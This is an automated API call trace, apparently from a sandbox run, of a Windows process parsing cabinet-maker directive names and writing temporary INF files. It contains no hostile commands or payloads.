[0102.035] _strcmpi (_Str1="GenerateInf", _Str2="Infdisk#") returned -2 [0102.035] _strcmpi (_Str1="InfCabinetHeader", _Str2="Infdisk#") returned -1 [0102.035] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="Infdisk#") returned -1 [0102.035] _strcmpi (_Str1="InfCommentString", _Str2="Infdisk#") returned -1 [0102.035] _strcmpi (_Str1="InfDateFormat", _Str2="Infdisk#") returned -8 [0102.035] _strcmpi (_Str1="InfDiskHeader", _Str2="Infdisk#") returned 69 [0102.035] _strcmpi (_Str1="InfDiskLineFormat", _Str2="Infdisk#") returned 73 [0102.035] _strcmpi (_Str1="InfFileHeader", _Str2="Infdisk#") returned 2 [0102.035] _strcmpi (_Str1="InfFileLineFormat", _Str2="Infdisk#") returned 2 [0102.035] _strcmpi (_Str1="InfFileName", _Str2="Infdisk#") returned 2 [0102.035] _strcmpi (_Str1="InfFooter", _Str2="Infdisk#") returned 2 [0102.035] _strcmpi (_Str1="InfFooter1", _Str2="Infdisk#") returned 2 [0102.035] _strcmpi (_Str1="InfFooter2", _Str2="Infdisk#") returned 2 [0102.035] _strcmpi (_Str1="InfFooter3", _Str2="Infdisk#") returned 2 [0102.035] _strcmpi (_Str1="InfFooter4", _Str2="Infdisk#") returned 2 [0102.035] _strcmpi (_Str1="InfHeader", _Str2="Infdisk#") returned 4 [0102.035] _strcmpi (_Str1="InfHeader1", _Str2="Infdisk#") returned 4 [0102.035] _strcmpi (_Str1="InfHeader2", _Str2="Infdisk#") returned 4 [0102.035] _strcmpi (_Str1="InfHeader3", _Str2="Infdisk#") returned 4 [0102.035] _strcmpi (_Str1="InfHeader4", _Str2="Infdisk#") returned 4 [0102.035] _strcmpi (_Str1="InfHeader5", _Str2="Infdisk#") returned 4 [0102.035] _strcmpi (_Str1="InfHeader6", _Str2="Infdisk#") returned 4 [0102.035] _strcmpi (_Str1="InfSectionOrder", _Str2="Infdisk#") returned 15 [0102.035] _strcmpi (_Str1="MaxCabinetSize", _Str2="Infdisk#") returned 4 [0102.035] _strcmpi (_Str1="MaxDiskFileCount", _Str2="Infdisk#") returned 4 [0102.035] _strcmpi (_Str1="MaxDiskSize", _Str2="Infdisk#") returned 4 [0102.035] _strcmpi (_Str1="MaxErrors", _Str2="Infdisk#") returned 4 [0102.035] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="Infdisk#") returned 9 [0102.035] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="Infdisk#") returned 9 [0102.035] _strcmpi (_Str1="ReservePerFolderSize", _Str2="Infdisk#") returned 9 [0102.035] _strcmpi (_Str1="RptFileName", _Str2="Infdisk#") returned 9 [0102.035] _strcmpi (_Str1="SourceDir", _Str2="Infdisk#") returned 10 [0102.035] _strcmpi (_Str1="UniqueFiles", _Str2="Infdisk#") returned 12 [0102.035] _strcmpi (_Str1="DiskDirectory1", _Str2="Infdisk#") returned -5 [0102.035] _strcmpi (_Str1="CabinetName1", _Str2="Infdisk#") returned -6 [0102.036] _vsnprintf (in: _DstBuf=0x1fec90, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1febe8 | out: _DstBuf="Infdisk#") returned 8 [0102.036] _vsnprintf (in: _DstBuf=0x32be5a, _MaxCount=0x1fd, _Format="%d", _ArgList=0x1ff218 | out: _DstBuf="1") returned 1 [0102.036] _strcmpi (_Str1="Cabinet", _Str2="Infcabfile") returned -6 [0102.036] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Infcabfile") returned -6 [0102.036] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Infcabfile") returned -6 [0102.036] _strcmpi (_Str1="ChecksumWidth", _Str2="Infcabfile") returned -6 [0102.036] _strcmpi (_Str1="ClusterSize", _Str2="Infcabfile") returned -6 [0102.036] _strcmpi (_Str1="Compress", _Str2="Infcabfile") returned -6 [0102.036] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="Infcabfile") returned -6 [0102.036] _strcmpi (_Str1="CompressionType", _Str2="Infcabfile") returned -6 [0102.036] _strcmpi (_Str1="CompressionLevel", _Str2="Infcabfile") returned -6 [0102.036] _strcmpi (_Str1="CompressionMemory", _Str2="Infcabfile") returned -6 [0102.036] _strcmpi (_Str1="DestinationDir", _Str2="Infcabfile") returned -5 [0102.036] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="Infcabfile") returned -5 [0102.036] _strcmpi (_Str1="DiskLabelTemplate", _Str2="Infcabfile") returned -5 [0102.036] _strcmpi (_Str1="DoNotCopyFiles", _Str2="Infcabfile") returned -5 [0102.036] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="Infcabfile") returned -3 [0102.036] _strcmpi (_Str1="FolderSizeThreshold", _Str2="Infcabfile") returned -3 [0102.036] _strcmpi (_Str1="GenerateInf", _Str2="Infcabfile") returned -2 [0102.036] _strcmpi (_Str1="InfCabinetHeader", _Str2="Infcabfile") returned 3 [0102.036] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="Infcabfile") returned 3 [0102.036] _strcmpi (_Str1="InfCommentString", _Str2="Infcabfile") returned 14 [0102.036] _strcmpi (_Str1="InfDateFormat", _Str2="Infcabfile") returned 1 [0102.036] _strcmpi (_Str1="InfDiskHeader", _Str2="Infcabfile") returned 1 [0102.036] _strcmpi (_Str1="InfDiskLineFormat", _Str2="Infcabfile") returned 1 [0102.036] _strcmpi (_Str1="InfFileHeader", _Str2="Infcabfile") returned 3 [0102.036] _strcmpi (_Str1="InfFileLineFormat", _Str2="Infcabfile") returned 3 [0102.036] _strcmpi (_Str1="InfFileName", _Str2="Infcabfile") returned 3 [0102.036] _strcmpi (_Str1="InfFooter", _Str2="Infcabfile") returned 3 [0102.036] _strcmpi (_Str1="InfFooter1", _Str2="Infcabfile") returned 3 [0102.036] _strcmpi (_Str1="InfFooter2", _Str2="Infcabfile") returned 3 [0102.036] _strcmpi (_Str1="InfFooter3", _Str2="Infcabfile") returned 3 [0102.036] _strcmpi (_Str1="InfFooter4", _Str2="Infcabfile") returned 3 [0102.036] _strcmpi (_Str1="InfHeader", _Str2="Infcabfile") returned 5 [0102.036] _strcmpi (_Str1="InfHeader1", _Str2="Infcabfile") returned 5 [0102.036] _strcmpi (_Str1="InfHeader2", _Str2="Infcabfile") returned 5 [0102.037] _strcmpi (_Str1="InfHeader3", _Str2="Infcabfile") returned 5 [0102.037] _strcmpi (_Str1="InfHeader4", _Str2="Infcabfile") returned 5 [0102.037] _strcmpi (_Str1="InfHeader5", _Str2="Infcabfile") returned 5 [0102.037] _strcmpi (_Str1="InfHeader6", _Str2="Infcabfile") returned 5 [0102.037] _strcmpi (_Str1="InfSectionOrder", _Str2="Infcabfile") returned 16 [0102.037] _strcmpi (_Str1="MaxCabinetSize", _Str2="Infcabfile") returned 4 [0102.037] _strcmpi (_Str1="MaxDiskFileCount", _Str2="Infcabfile") returned 4 [0102.037] _strcmpi (_Str1="MaxDiskSize", _Str2="Infcabfile") returned 4 [0102.037] _strcmpi (_Str1="MaxErrors", _Str2="Infcabfile") returned 4 [0102.037] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="Infcabfile") returned 9 [0102.037] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="Infcabfile") returned 9 [0102.037] _strcmpi (_Str1="ReservePerFolderSize", _Str2="Infcabfile") returned 9 [0102.037] _strcmpi (_Str1="RptFileName", _Str2="Infcabfile") returned 9 [0102.037] _strcmpi (_Str1="SourceDir", _Str2="Infcabfile") returned 10 [0102.037] _strcmpi (_Str1="UniqueFiles", _Str2="Infcabfile") returned 12 [0102.037] _strcmpi (_Str1="DiskDirectory1", _Str2="Infcabfile") returned -5 [0102.037] _strcmpi (_Str1="CabinetName1", _Str2="Infcabfile") returned -6 [0102.037] _vsnprintf (in: _DstBuf=0x1fec90, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1febe8 | out: _DstBuf="Infcabfile") returned 10 [0102.037] _vsnprintf (in: _DstBuf=0x1fec90, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1febe8 | out: _DstBuf="Infdisk#") returned 8 [0102.037] _vsnprintf (in: _DstBuf=0x32be58, _MaxCount=0x1ff, _Format="%d", _ArgList=0x1ff218 | out: _DstBuf="1") returned 1 [0102.037] _strcmpi (_Str1="Cabinet", _Str2="Infcab#") returned -6 [0102.037] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="Infcab#") returned -6 [0102.037] _strcmpi (_Str1="CabinetNameTemplate", _Str2="Infcab#") returned -6 [0102.037] _strcmpi (_Str1="ChecksumWidth", _Str2="Infcab#") returned -6 [0102.037] _strcmpi (_Str1="ClusterSize", _Str2="Infcab#") returned -6 [0102.037] _strcmpi (_Str1="Compress", _Str2="Infcab#") returned -6 [0102.037] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="Infcab#") returned -6 [0102.037] _strcmpi (_Str1="CompressionType", _Str2="Infcab#") returned -6 [0102.037] _strcmpi (_Str1="CompressionLevel", _Str2="Infcab#") returned -6 [0102.037] _strcmpi (_Str1="CompressionMemory", _Str2="Infcab#") returned -6 [0102.037] _strcmpi (_Str1="DestinationDir", _Str2="Infcab#") returned -5 [0102.037] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="Infcab#") returned -5 [0102.037] _strcmpi (_Str1="DiskLabelTemplate", _Str2="Infcab#") returned -5 [0102.037] _strcmpi (_Str1="DoNotCopyFiles", _Str2="Infcab#") returned -5 [0102.038] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="Infcab#") returned -3 [0102.038] _strcmpi (_Str1="FolderSizeThreshold", _Str2="Infcab#") returned -3 [0102.038] _strcmpi (_Str1="GenerateInf", _Str2="Infcab#") returned -2 [0102.038] _strcmpi (_Str1="InfCabinetHeader", _Str2="Infcab#") returned 70 [0102.038] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="Infcab#") returned 70 [0102.038] _strcmpi (_Str1="InfCommentString", _Str2="Infcab#") returned 14 [0102.038] _strcmpi (_Str1="InfDateFormat", _Str2="Infcab#") returned 1 [0102.038] _strcmpi (_Str1="InfDiskHeader", _Str2="Infcab#") returned 1 [0102.038] _vsnprintf (in: _DstBuf=0x1fec90, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1febe8 | out: _DstBuf="Infcab#") returned 7 [0102.038] _vsnprintf (in: _DstBuf=0x32be5a, _MaxCount=0x1fd, _Format="%d", _ArgList=0x1ff218 | out: _DstBuf="1") returned 1 [0102.038] _vsnprintf (in: _DstBuf=0x1fec90, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1febe8 | out: _DstBuf="Inffile") returned 7 [0102.038] _vsnprintf (in: _DstBuf=0x1fec90, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1febe8 | out: _DstBuf="Infsize") returned 7 [0102.038] _vsnprintf (in: _DstBuf=0x32be63, _MaxCount=0x1f4, _Format="%ld", _ArgList=0x1ff218 | out: _DstBuf="1") returned 1 [0102.038] GetCurrentProcessId () returned 0xa04 [0102.038] _vsnprintf (in: _DstBuf=0x1ff483, _MaxCount=0xa, _Format="_%u_", _ArgList=0x1ff478 | out: _DstBuf="_2564_") returned 6 [0102.038] _tempnam (_Directory="", _FilePrefix="inf_2564_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2564_2" [0102.039] fopen (_Filename="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2564_2" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\inf_2564_2"), _Mode="wt") returned 0x7fefd702b10 [0102.039] malloc (_Size=0x18) returned 0x3297e0 [0102.039] free (_Block=0x32af30) [0102.039] fprintf (in: _File=0x7fefd702b10, _Format="%s\n" | out: _File=0x7fefd702b10) returned 12 [0102.039] _vsnprintf (in: _DstBuf=0x1ff4f8, _MaxCount=0x1f, _Format="InfDiskHeader%d", _ArgList=0x1ff358 | out: _DstBuf="InfDiskHeader1") returned 14 [0102.039] _strcmpi (_Str1="Cabinet", _Str2="InfDiskHeader1") returned -6 [0102.039] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfDiskHeader1") returned -6 [0102.039] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfDiskHeader1") returned -6 [0102.039] _strcmpi (_Str1="ChecksumWidth", _Str2="InfDiskHeader1") returned -6 [0102.039] _strcmpi (_Str1="ClusterSize", _Str2="InfDiskHeader1") returned -6 [0102.039] _strcmpi (_Str1="Compress", _Str2="InfDiskHeader1") returned -6 [0102.039] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfDiskHeader1") returned -6 [0102.039] _strcmpi (_Str1="CompressionType", _Str2="InfDiskHeader1") returned -6 [0102.039] _strcmpi (_Str1="CompressionLevel", _Str2="InfDiskHeader1") returned -6 [0102.040] _strcmpi (_Str1="CompressionMemory", _Str2="InfDiskHeader1") returned -6 [0102.040] _strcmpi (_Str1="DestinationDir", _Str2="InfDiskHeader1") returned -5 [0102.040] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfDiskHeader1") returned -5 [0102.040] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfDiskHeader1") returned -5 [0102.040] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfDiskHeader1") returned -5 [0102.040] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfDiskHeader1") returned -3 [0102.040] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfDiskHeader1") returned -3 [0102.040] _strcmpi (_Str1="GenerateInf", _Str2="InfDiskHeader1") returned -2 [0102.040] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfDiskHeader1") returned -1 [0102.040] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfDiskHeader1") returned -1 [0102.040] _strcmpi (_Str1="InfCommentString", _Str2="InfDiskHeader1") returned -1 [0102.040] _strcmpi (_Str1="InfDateFormat", _Str2="InfDiskHeader1") returned -8 [0102.040] _strcmpi (_Str1="InfDiskHeader", _Str2="InfDiskHeader1") returned -49 [0102.040] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfDiskHeader1") returned 4 [0102.040] _strcmpi (_Str1="InfFileHeader", _Str2="InfDiskHeader1") returned 2 [0102.040] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfDiskHeader1") returned 2 [0102.040] _strcmpi (_Str1="InfFileName", _Str2="InfDiskHeader1") returned 2 [0102.040] _strcmpi (_Str1="InfFooter", _Str2="InfDiskHeader1") returned 2 [0102.040] _strcmpi (_Str1="InfFooter1", _Str2="InfDiskHeader1") returned 2 [0102.040] _strcmpi (_Str1="InfFooter2", _Str2="InfDiskHeader1") returned 2 [0102.040] _strcmpi (_Str1="InfFooter3", _Str2="InfDiskHeader1") returned 2 [0102.040] _strcmpi (_Str1="InfFooter4", _Str2="InfDiskHeader1") returned 2 [0102.040] _strcmpi (_Str1="InfHeader", _Str2="InfDiskHeader1") returned 4 [0102.040] _strcmpi (_Str1="InfHeader1", _Str2="InfDiskHeader1") returned 4 [0102.040] _strcmpi (_Str1="InfHeader2", _Str2="InfDiskHeader1") returned 4 [0102.040] _strcmpi (_Str1="InfHeader3", _Str2="InfDiskHeader1") returned 4 [0102.040] _strcmpi (_Str1="InfHeader4", _Str2="InfDiskHeader1") returned 4 [0102.040] _strcmpi (_Str1="InfHeader5", _Str2="InfDiskHeader1") returned 4 [0102.040] _strcmpi (_Str1="InfHeader6", _Str2="InfDiskHeader1") returned 4 [0102.040] _strcmpi (_Str1="InfSectionOrder", _Str2="InfDiskHeader1") returned 15 [0102.040] _strcmpi (_Str1="MaxCabinetSize", _Str2="InfDiskHeader1") returned 4 [0102.040] _strcmpi (_Str1="MaxDiskFileCount", _Str2="InfDiskHeader1") returned 4 [0102.040] _strcmpi (_Str1="MaxDiskSize", _Str2="InfDiskHeader1") returned 4 [0102.040] _strcmpi (_Str1="MaxErrors", _Str2="InfDiskHeader1") returned 4 [0102.040] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="InfDiskHeader1") returned 9 [0102.040] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="InfDiskHeader1") returned 9 [0102.040] _strcmpi (_Str1="ReservePerFolderSize", _Str2="InfDiskHeader1") returned 9 [0102.040] _strcmpi (_Str1="RptFileName", _Str2="InfDiskHeader1") returned 9 [0102.041] _strcmpi (_Str1="SourceDir", _Str2="InfDiskHeader1") returned 10 [0102.041] _strcmpi (_Str1="UniqueFiles", _Str2="InfDiskHeader1") returned 12 [0102.041] _strcmpi (_Str1="DiskDirectory1", _Str2="InfDiskHeader1") returned -5 [0102.041] _strcmpi (_Str1="CabinetName1", _Str2="InfDiskHeader1") returned -6 [0102.041] _vsnprintf (in: _DstBuf=0x1ff1b0, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff108 | out: _DstBuf="InfDiskHeader1") returned 14 [0102.041] _strcmpi (_Str1="Cabinet", _Str2="InfCabinetHeader") returned -6 [0102.041] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfCabinetHeader") returned -6 [0102.041] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfCabinetHeader") returned -6 [0102.041] _strcmpi (_Str1="ChecksumWidth", _Str2="InfCabinetHeader") returned -6 [0102.041] _strcmpi (_Str1="ClusterSize", _Str2="InfCabinetHeader") returned -6 [0102.041] _strcmpi (_Str1="Compress", _Str2="InfCabinetHeader") returned -6 [0102.041] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfCabinetHeader") returned -6 [0102.041] _strcmpi (_Str1="CompressionType", _Str2="InfCabinetHeader") returned -6 [0102.041] _strcmpi (_Str1="CompressionLevel", _Str2="InfCabinetHeader") returned -6 [0102.041] _strcmpi (_Str1="CompressionMemory", _Str2="InfCabinetHeader") returned -6 [0102.041] _strcmpi (_Str1="DestinationDir", _Str2="InfCabinetHeader") returned -5 [0102.041] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfCabinetHeader") returned -5 [0102.041] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfCabinetHeader") returned -5 [0102.041] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfCabinetHeader") returned -5 [0102.041] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfCabinetHeader") returned -3 [0102.041] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfCabinetHeader") returned -3 [0102.041] _strcmpi (_Str1="GenerateInf", _Str2="InfCabinetHeader") returned -2 [0102.041] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfCabinetHeader") returned 0 [0102.041] GetCurrentProcessId () returned 0xa04 [0102.041] _vsnprintf (in: _DstBuf=0x1ff483, _MaxCount=0xa, _Format="_%u_", _ArgList=0x1ff478 | out: _DstBuf="_2564_") returned 6 [0102.041] _tempnam (_Directory="", _FilePrefix="inf_2564_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2564_3" [0102.041] fopen (_Filename="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2564_3" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\inf_2564_3"), _Mode="wt") returned 0x7fefd702b40 [0102.042] malloc (_Size=0x18) returned 0x329800 [0102.042] free (_Block=0x32af30) [0102.042] fprintf (in: _File=0x7fefd702b40, _Format="%s\n" | out: _File=0x7fefd702b40) returned 15 [0102.042] _vsnprintf (in: _DstBuf=0x1ff4f8, _MaxCount=0x1f, _Format="InfCabinetHeader%d", _ArgList=0x1ff358 | out: _DstBuf="InfCabinetHeader1") returned 17 [0102.042] _strcmpi (_Str1="Cabinet", _Str2="InfCabinetHeader1") returned -6 [0102.042] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfCabinetHeader1") returned -6 [0102.042] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfCabinetHeader1") returned -6 [0102.042] _strcmpi (_Str1="ChecksumWidth", _Str2="InfCabinetHeader1") returned -6 [0102.042] _strcmpi (_Str1="ClusterSize", _Str2="InfCabinetHeader1") returned -6 [0102.042] _strcmpi (_Str1="Compress", _Str2="InfCabinetHeader1") returned -6 [0102.042] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfCabinetHeader1") returned -6 [0102.042] _strcmpi (_Str1="CompressionType", _Str2="InfCabinetHeader1") returned -6 [0102.042] _strcmpi (_Str1="CompressionLevel", _Str2="InfCabinetHeader1") returned -6 [0102.042] _strcmpi (_Str1="CompressionMemory", _Str2="InfCabinetHeader1") returned -6 [0102.042] _strcmpi (_Str1="DestinationDir", _Str2="InfCabinetHeader1") returned -5 [0102.042] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfCabinetHeader1") returned -5 [0102.042] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfCabinetHeader1") returned -5 [0102.042] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfCabinetHeader1") returned -5 [0102.042] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfCabinetHeader1") returned -3 [0102.042] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfCabinetHeader1") returned -3 [0102.042] _strcmpi (_Str1="GenerateInf", _Str2="InfCabinetHeader1") returned -2 [0102.042] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfCabinetHeader1") returned -49 [0102.042] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfCabinetHeader1") returned 4 [0102.042] _strcmpi (_Str1="InfCommentString", _Str2="InfCabinetHeader1") returned 14 [0102.043] _strcmpi (_Str1="InfDateFormat", _Str2="InfCabinetHeader1") returned 1 [0102.043] _strcmpi (_Str1="InfDiskHeader", _Str2="InfCabinetHeader1") returned 1 [0102.043] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfCabinetHeader1") returned 1 [0102.043] _strcmpi (_Str1="InfFileHeader", _Str2="InfCabinetHeader1") returned 3 [0102.043] _strcmpi (_Str1="InfFileLineFormat", _Str2="InfCabinetHeader1") returned 3 [0102.043] _strcmpi (_Str1="InfFileName", _Str2="InfCabinetHeader1") returned 3 [0102.043] _strcmpi (_Str1="InfFooter", _Str2="InfCabinetHeader1") returned 3 [0102.043] _strcmpi (_Str1="InfFooter1", _Str2="InfCabinetHeader1") returned 3 [0102.043] _strcmpi (_Str1="InfFooter2", _Str2="InfCabinetHeader1") returned 3 [0102.043] _strcmpi (_Str1="InfFooter3", _Str2="InfCabinetHeader1") returned 3 [0102.043] _strcmpi (_Str1="InfFooter4", _Str2="InfCabinetHeader1") returned 3 [0102.043] _strcmpi (_Str1="InfHeader", _Str2="InfCabinetHeader1") returned 5 [0102.043] _strcmpi (_Str1="InfHeader1", _Str2="InfCabinetHeader1") returned 5 [0102.043] _strcmpi (_Str1="InfHeader2", _Str2="InfCabinetHeader1") returned 5 [0102.043] _strcmpi (_Str1="InfHeader3", _Str2="InfCabinetHeader1") returned 5 [0102.043] _strcmpi (_Str1="InfHeader4", _Str2="InfCabinetHeader1") returned 5 [0102.043] _strcmpi (_Str1="InfHeader5", _Str2="InfCabinetHeader1") returned 5 [0102.043] _strcmpi (_Str1="InfHeader6", _Str2="InfCabinetHeader1") returned 5 [0102.043] _strcmpi (_Str1="InfSectionOrder", _Str2="InfCabinetHeader1") returned 16 [0102.043] _strcmpi (_Str1="MaxCabinetSize", _Str2="InfCabinetHeader1") returned 4 [0102.043] _strcmpi (_Str1="MaxDiskFileCount", _Str2="InfCabinetHeader1") returned 4 [0102.043] _strcmpi (_Str1="MaxDiskSize", _Str2="InfCabinetHeader1") returned 4 [0102.043] _strcmpi (_Str1="MaxErrors", _Str2="InfCabinetHeader1") returned 4 [0102.043] _strcmpi (_Str1="ReservePerCabinetSize", _Str2="InfCabinetHeader1") returned 9 [0102.043] _strcmpi (_Str1="ReservePerDataBlockSize", _Str2="InfCabinetHeader1") returned 9 [0102.043] _strcmpi (_Str1="ReservePerFolderSize", _Str2="InfCabinetHeader1") returned 9 [0102.043] _strcmpi (_Str1="RptFileName", _Str2="InfCabinetHeader1") returned 9 [0102.043] _strcmpi (_Str1="SourceDir", _Str2="InfCabinetHeader1") returned 10 [0102.043] _strcmpi (_Str1="UniqueFiles", _Str2="InfCabinetHeader1") returned 12 [0102.043] _strcmpi (_Str1="DiskDirectory1", _Str2="InfCabinetHeader1") returned -5 [0102.043] _strcmpi (_Str1="CabinetName1", _Str2="InfCabinetHeader1") returned -6 [0102.043] _vsnprintf (in: _DstBuf=0x1ff1b0, _MaxCount=0x1ff, _Format="%s", _ArgList=0x1ff108 | out: _DstBuf="InfCabinetHeader1") returned 17 [0102.043] _strcmpi (_Str1="Cabinet", _Str2="InfFileHeader") returned -6 [0102.043] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFileHeader") returned -6 [0102.043] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFileHeader") returned -6 [0102.043] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFileHeader") returned -6 [0102.044] _strcmpi (_Str1="ClusterSize", _Str2="InfFileHeader") returned -6 [0102.044] _strcmpi (_Str1="Compress", _Str2="InfFileHeader") returned -6 [0102.044] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFileHeader") returned -6 [0102.044] _strcmpi (_Str1="CompressionType", _Str2="InfFileHeader") returned -6 [0102.044] _strcmpi (_Str1="CompressionLevel", _Str2="InfFileHeader") returned -6 [0102.044] _strcmpi (_Str1="CompressionMemory", _Str2="InfFileHeader") returned -6 [0102.044] _strcmpi (_Str1="DestinationDir", _Str2="InfFileHeader") returned -5 [0102.044] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFileHeader") returned -5 [0102.044] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFileHeader") returned -5 [0102.044] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFileHeader") returned -5 [0102.044] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFileHeader") returned -3 [0102.044] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFileHeader") returned -3 [0102.044] _strcmpi (_Str1="GenerateInf", _Str2="InfFileHeader") returned -2 [0102.044] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFileHeader") returned -3 [0102.044] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFileHeader") returned -3 [0102.044] _strcmpi (_Str1="InfCommentString", _Str2="InfFileHeader") returned -3 [0102.044] _strcmpi (_Str1="InfDateFormat", _Str2="InfFileHeader") returned -2 [0102.044] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFileHeader") returned -2 [0102.044] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFileHeader") returned -2 [0102.044] _strcmpi (_Str1="InfFileHeader", _Str2="InfFileHeader") returned 0 [0102.044] GetCurrentProcessId () returned 0xa04 [0102.044] _vsnprintf (in: _DstBuf=0x1ff483, _MaxCount=0xa, _Format="_%u_", _ArgList=0x1ff478 | out: _DstBuf="_2564_") returned 6 [0102.044] _tempnam (_Directory="", _FilePrefix="inf_2564_") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2564_4" [0102.044] fopen (_Filename="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\inf_2564_4" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\inf_2564_4"), _Mode="wt") returned 0x7fefd702b70 [0102.052] malloc (_Size=0x18) returned 0x329820 [0102.052] free (_Block=0x32af30) [0102.052] fprintf (in: _File=0x7fefd702b70, _Format="%s\n" | out: _File=0x7fefd702b70) returned 12 [0102.052] _vsnprintf (in: _DstBuf=0x1ff4f8, _MaxCount=0x1f, _Format="InfFileHeader%d", _ArgList=0x1ff358 | out: _DstBuf="InfFileHeader1") returned 14 [0102.052] _strcmpi (_Str1="Cabinet", _Str2="InfFileHeader1") returned -6 [0102.052] _strcmpi (_Str1="CabinetFileCountThreshold", _Str2="InfFileHeader1") returned -6 [0102.052] _strcmpi (_Str1="CabinetNameTemplate", _Str2="InfFileHeader1") returned -6 [0102.052] _strcmpi (_Str1="ChecksumWidth", _Str2="InfFileHeader1") returned -6 [0102.052] _strcmpi (_Str1="ClusterSize", _Str2="InfFileHeader1") returned -6 [0102.052] _strcmpi (_Str1="Compress", _Str2="InfFileHeader1") returned -6 [0102.052] _strcmpi (_Str1="CompressedFileExtensionChar", _Str2="InfFileHeader1") returned -6 [0102.052] _strcmpi (_Str1="CompressionType", _Str2="InfFileHeader1") returned -6 [0102.052] _strcmpi (_Str1="CompressionLevel", _Str2="InfFileHeader1") returned -6 [0102.052] _strcmpi (_Str1="CompressionMemory", _Str2="InfFileHeader1") returned -6 [0102.052] _strcmpi (_Str1="DestinationDir", _Str2="InfFileHeader1") returned -5 [0102.052] _strcmpi (_Str1="DiskDirectoryTemplate", _Str2="InfFileHeader1") returned -5 [0102.052] _strcmpi (_Str1="DiskLabelTemplate", _Str2="InfFileHeader1") returned -5 [0102.052] _strcmpi (_Str1="DoNotCopyFiles", _Str2="InfFileHeader1") returned -5 [0102.052] _strcmpi (_Str1="FolderFileCountThreshold", _Str2="InfFileHeader1") returned -3 [0102.052] _strcmpi (_Str1="FolderSizeThreshold", _Str2="InfFileHeader1") returned -3 [0102.052] _strcmpi (_Str1="GenerateInf", _Str2="InfFileHeader1") returned -2 [0102.052] _strcmpi (_Str1="InfCabinetHeader", _Str2="InfFileHeader1") returned -3 [0102.052] _strcmpi (_Str1="InfCabinetLineFormat", _Str2="InfFileHeader1") returned -3 [0102.052] _strcmpi (_Str1="InfCommentString", _Str2="InfFileHeader1") returned -3 [0102.052] _strcmpi (_Str1="InfDateFormat", _Str2="InfFileHeader1") returned -2 [0102.052] _strcmpi (_Str1="InfDiskHeader", _Str2="InfFileHeader1") returned -2 [0102.052] _strcmpi (_Str1="InfDiskLineFormat", _Str2="InfFileHeader1") returned -2 [0102.052] 